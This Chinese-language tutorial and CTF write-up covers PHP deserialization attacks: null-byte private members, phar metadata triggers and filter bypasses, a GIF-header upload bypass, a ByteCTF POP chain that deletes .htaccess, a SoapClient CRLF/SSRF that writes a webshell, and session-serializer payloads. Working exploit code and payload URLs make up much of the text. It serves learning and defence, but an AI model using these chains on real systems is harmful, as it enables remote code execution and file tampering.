PHP反序列化进阶学习与总结
2019-10-03 11:14:06 Author: xz.aliyun.com(查看原文) 阅读量:157 收藏

说在前面

对于PHP反序列化,原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式,就此进一步学习一下。其中很多内容都参考了师傅们的博客,部分内容经过自己的修改。如果存在错误,还望师傅们指出。

pravite和Protected成员的序列化

以前在做反序列化的题的时候遇到的都是public成员,但在k0rz3n师傅的文章中看到了Private和Protected权限序列化的过程中有着不同的差别。这里做一个小知识点的总结。

先来复习一下一个简单的序列化例子:

<?php
class Threezh1 {
    public $text;

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}

$a = new Threezh1();
$a->text = 'echo "Threezh1";';
echo serialize($a);
?>

序列化后的内容:

O:8:"Threezh1":1:{s:4:"text";s:16:"echo "Threezh1";";}

O代表这是一个对象,8代表对象名称的长度,1代表成员个数。

大括号中分别是:属性名类型、长度、名称;值类型、长度、值。

那反序列化的过程中是这样的:

<?php
class Threezh1 {
    public $text;

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}
unserialize($_GET["a"]);
?>

访问:http://127.0.0.1/index.php?a=O:8:%22Threezh1%22:1:{s:4:%22text%22;s:16:%22echo%20%22Threezh1%22;%22;}

返回:

Threezh1

Private类型

那么问题来了,如果把$text成员从public改为private呢?

因为在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性。所以上面生成的例子需要改一下:

<?php
class Threezh1
{
    private $text = 'phpinfo();';

    public function setPayload($temp){
        $this->text = $temp;
    }

    function execute($payload) {
        eval($payload);
    }

    function __destruct(){
        $this->execute($this->text);
    }
}

$a = new Threezh1();
$a->setPayload('echo "Threezh1";');
$data = serialize($a);
echo($data);
file_put_contents("serialize.txt", $data);

这时候生成出来的序列化的内容为:

O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}

按照前面的反序列化步骤,进行反序列化。会发现序列化并没有成功,显示了phpinfo的页面:

那怎么样才能使它反序列化成功呢?我们使用winhex打开刚刚保存的serialize.txt。内容如下图:

会发现在Threezh1的左右,也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后,空字节不会一同生成出去,导致反序列化的时候无法识别是private属性,反序列化失败。

那解决这个问题的方法就是,在传递反序列化字符串中,在类名的左右加上%00,也就是空字节对于的URL编码。反序列化成功结果如下:

这也正好解释了,为什么序列化内容中,为什么属性名的长度为14。

所以,Private类型在序列化的格式为:%00类名%00

Protected类型

Protected类型和private有些许不同,生成的序列化内容为:

O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}

使用winhex查看保存的serialize.txt

可得出,Protected类型在序列化的格式为:%00*%00类名

Phar反序列化

phar的总结类文章已经有很多了,比如Hu3sky学长的初探phar://

自己在总结phar的过程中又学习到了一些新的内容,这里就做下记录。

phar文件的结构:

phar文件都包含以下几个部分:

1. stub
    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
    被压缩文件的内容
4. signature (可空)
    签名,放在末尾。

生成一个phar文件:

php内置了一个phar类来处理相关操作。

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

phar受影响的文件操作函数:

知道创宇测试后受影响的函数列表:

但实际并不止这一些。

参考zxc师傅的文章:https://blog.zsxsoft.com/post/38

在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper。都可能触发phar反序列化漏洞。

以下这些方式都可触发phar反序列化漏洞:

exif

exif_thumbnail
exif_imagetype

gd

imageloadfont
imagecreatefrom***

hash

hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file

file / url

get_meta_tags
get_headers

standard

getimagesize
getimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过

$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';

配合其他协议:(SUCTF)

当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar

这次的ByteCTF也有这个点。使用的是:php://filter/resource=phar://phar.phar

Postgres

<?php
    $pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
    @$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Mysql

LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper

配置一下mysqld:

[mysqld]
local-infile=1
secure_file_priv=""
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');
?>

漏洞的利用实例:

一个简单的例子

phar.php

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

index.php

<?php
class TestObject {
    public $name;

    function __destruct()
    {
        echo $this -> name;
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}
?>

使用php phar.php生成phar.phar文件。

访问:http://127.0.0.1/index.php?file=phar://phar.phar

返回:Threezh1。 反序列化利用成功。

绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/

upload.html:

<!DOCTYPE html>
<html>
<head>
    <title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php

仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

index.php

<?php
class TestObject{
    var $data = 'echo "Hello World";';
    function __destruct()
    {
        eval($this -> data);
    }
}
if ($_GET["file"]){
    file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过

我们可以构造一个php来生成phar.phar。

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif

  • 二、上传到upload_file目录下

可见已经执行了phpinfo命令了。

通过修改后缀名和文件头,能够绕过大部分的校验。

配合PHP内核哈希表碰撞攻击

参考:https://xz.aliyun.com/t/2613

原生类序列化(ZipArchive::open)

拿这次2019 ByteCTF的ezCMS这道题来学习这个知识点。

先是哈希长度扩展攻击 参考

登录账户:admin
登录密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00test

置cookie:user=2e05fd4ee5d0ec7853d174d06cd3ca47;

config.php:

<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;

function login(){

    $secret = "********";
    setcookie("hash", md5($secret."adminadmin"));
    return 1;

# 52107b08c0f3342d2153ae1d68e6262c

}

function is_admin(){
    $secret = "********";
    $username = $_SESSION['username'];
    $password = $_SESSION['password'];
    if ($username == "admin" && $password != "admin"){
        if ($_COOKIE['user'] === md5($secret.$username.$password)){
            return 1;
        }
    }
    return 0;
}

class Check{ // 检查一些关键字
    public $filename;

    function __construct($filename)
    {
        $this->filename = $filename;
    }

    function check(){
        $content = file_get_contents($this->filename);

        $black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字

        foreach ($black_list as $k=>$v){
            if (stripos($content, $v) !== false){
                die("your file make me scare");
            }
        }

        return 1;
    }
}

class File{

    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
    }

    public function view_detail(){

        if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }   
        $mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
        $store_path = $this->open($this->filename, $this->filepath);
        $res['mine'] = $mine;
        $res['store_path'] = $store_path;
        return $res;

    }

    public function open($filename, $filepath){
        $res = "$filename is in $filepath";
        return $res;
    }

    function __destruct()   //类被销毁时自动触发
    {
        if (isset($this->checker)){
            $this->checker->upload_file();   //调用upload_file()方法
        }
    }
}

class Admin{
    public $size;
    public $checker;
    public $file_tmp;
    public $filename;
    public $upload_dir;
    public $content_check;

    function __construct($filename, $file_tmp, $size)
    {
        $this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
        if (!file_exists($this->upload_dir)){
            mkdir($this->upload_dir, 0777, true);
        }
        if (!is_file($this->upload_dir.'/.htaccess')){
            file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
        }
        $this->size = $size;
        $this->filename = $filename;
        $this->file_tmp = $file_tmp;

        $this->content_check = new Check($this->file_tmp);

        $profile = new Profile();

        $this->checker = $profile->is_admin();
    }

    public function upload_file(){

        if (!$this->checker){
            die('u r not admin');
        }
        $this->content_check -> check();
        $tmp = explode(".", $this->filename);
        $ext = end($tmp); // 
        if ($this->size > 204800){
            die("your file is too big");
        }
        # 
        move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
    }

    public function __call($name, $arguments)
    {

    }
}

class Profile{

    public $username;
    public $password;
    public $admin;

    public function is_admin(){

        //从SESSION当中取用户名和密码
        $this->username = $_SESSION['username'];
        $this->password = $_SESSION['password'];

        $secret = "********";

        if ($this->username === "admin" && $this->password != "admin"){
            if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
                return 1;
            }
        }
        return 0;

    }
    function __call($name, $arguments) //当调用不存在的方式时触发
    {
        $this->admin->open($this->username, $this->password); //这里作为
    }
}

view.php:

<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path);   //调用File类
$res = $file->view_detail();                //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];

echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>

在view.php中,url中传递的filename与filepath进行一次url编码之后传递到File类中调用view_detail方法。

view_detail方法中存在一个mime_content_type()函数, 这个函数是可以导致phar反序列化的。

在此之前:

if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
            die("nonono~");
        }

这个正则禁止了大部分的进行phar反序列化的关键词,不允许这些关键词出现在filepath的开头。但是这里漏了一个php://协议。 参考SUCTF

找到了phar反序列化触发点之后,开始构造一条可利用的POP链,思路:

  1. File类的__destruct()会调用$this->checker->upload_file()。可以将$this->checker赋值为Profile类
  2. 因为$this->checker没有Profile类,触发__call()魔术方法
  3. 调用$this->admin->open($this->username, $this->password); 这里可以使用原生类反序列化

原生类反序列化参考

简要笔记:

利用PHP函数 ZipArchive::open($filename, $flags)
当$flag=ZipArchive::OVERWRITE时,就会将$filename的文件删除

构造Payload:

<?php
class File{
    public $filename;
    public $filepath;
    public $checker;

    function __construct($filename, $filepath)
    {
        $this->filepath = $filepath;
        $this->filename = $filename;
        $this->checker = new Profile();
    }

}
class Profile{
    public $username;
    public $password;
    public $admin;

    function __construct()
    {
        $this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
        $this->password = "ZipArchive::OVERWRITE";
        $this->admin = new ZipArchive();
    }


}

$a = new File("threezh1", "threezh1");

class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

先把phar文件生成出来上传。

再访问:http://127.0.0.1/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://sandbox/f528764d624db129b32c21fbca0cb8d6/9c7f4a2fbf2dd3dfb7051727a644d99f.phar

即可把.htaccess删除,再直接去访问一句话木马连蚁剑拿flag。(这里由于题目已经关了,自己的环境总是出问题,就没复现成功。)

原生类魔法函数(soapClient类)

参考这一篇:反序列化攻击面拓展提高篇

SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一
WSDL 用来描述如何访问具体的接口 
UDDI用来管理,分发,查询webService 
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。

webService相当于 HTTP + XML

SoapClient()方法

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。

用Soap进行SSRF也有两个需要注意的点:

  • Soap不是默认开启的,需要手动开启
  • 需要触发__call方法才能进行SSRF

SOAP => CRLF => SSRF

文章当中的exp.php:

<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: xxxx=1234'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$c=unserialize(urldecode($aaa));
$c->ss();
?>

test.php:

<?php 
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
    echo 'hi';
    @$a=$_POST[1];
    @eval($a);
}
 ?>

访问 http://127.0.0.1/exp.php 可在目录下写入一个shell.php。

Session反序列化

参考这一篇PHP中SESSION反序列化机制

PHP中的session保存

PHP.ini有以下配置项用于控制session有关的设置:

session.save_path="D:\xampp\tmp"    表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files          表明session是以文件的方式来进行存储的
session.auto_start=0                表明默认不启动session
session.serialize_handler=php       表明session的默认序列话引擎使用的是php序列话引擎

PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "Threezh1";时。不同的引擎保存的session文件内容如下:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_binary:
    names:8:"Threezh1";
    存储方式是,键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

切换不同引擎使用的函数为:ini_set('session.serialize_handler', '需要设置的引擎');

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something

Session反序列化漏洞的原理:

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。

文章中有一个简单的例子:

test1.php

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>

test2.php

<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
?>

通过源码可以得知,test1中使用的session解析引擎是php_serialize,test2使用的是php。

并且在test1中,SESSION["spoock"]的值是可控的。

访问:

http://localhost/test1.php?a=|O:5:%22lemon%22:1:{s:2:%22hi%22;s:16:%22echo%20%27Threezh1%27;%22;}

a参数的值为“|” + 一个序列化的对象。

再访问:

http://localhost/test2.php

返回:

Threezh1

可知我们在session中的解析过程中,对我们的payload进行了反序列化。为什么会出现这种情况呢?

payload的构造

先看两个解析引擎存储session的格式:

php: 
    name|s:8:"Threezh1";
    存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php_serialize(php>5.5.4):
    a:1:{s:4:"name";s:8:"Threezh1";}
    存储方式是,经过serialize()函数序列化处理的值

思路:

因为储存session的页面(test1)使用的是php_serialize解析引擎,如果我们把session的值中添加一个“|”,在test2页面中使用php解析引擎解析的过程中,就会把“|”前面的值作为一个session键名,对“|”后面就会进行一个反序列化操作。

“|”后面的序列化对象生成:

<?php
class lemon {
    var $hi;
    function __construct(){
        $this->hi = 'phpinfo();';
    }

    function __destruct() {
         eval($this->hi);
    }
}
$a = new lemon();
$a->hi = "echo 'Threezh1';";
echo serialize($a)
?>

但是直接这样利用的话,局限性还是太大了。

但在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中。详情

条件:

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)

上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

本打算复现:有趣的php反序列化总结,但在传递payload的时候,payload如果存在"|"。session就会为空,还没有找到解决的方法,如果有师傅遇到同样的问题,还望师傅帮忙解答。

jarvisoj-web-writeup PHPINFO

题目地址:http://web.jarvisoj.com:32784/

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

开头将session的解析引擎定义为了php。

访问:http://web.jarvisoj.com:32784/index.php?phpinfo 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。

于是构造一个upload.html

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

poc.php:

<?php
class OowoO
{
    public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

生成序列化的值为:

O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}

在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录。

再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload:

O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

得到flag:

参考


文章来源: http://xz.aliyun.com/t/6454
如有侵权请联系:admin#unsafe.sh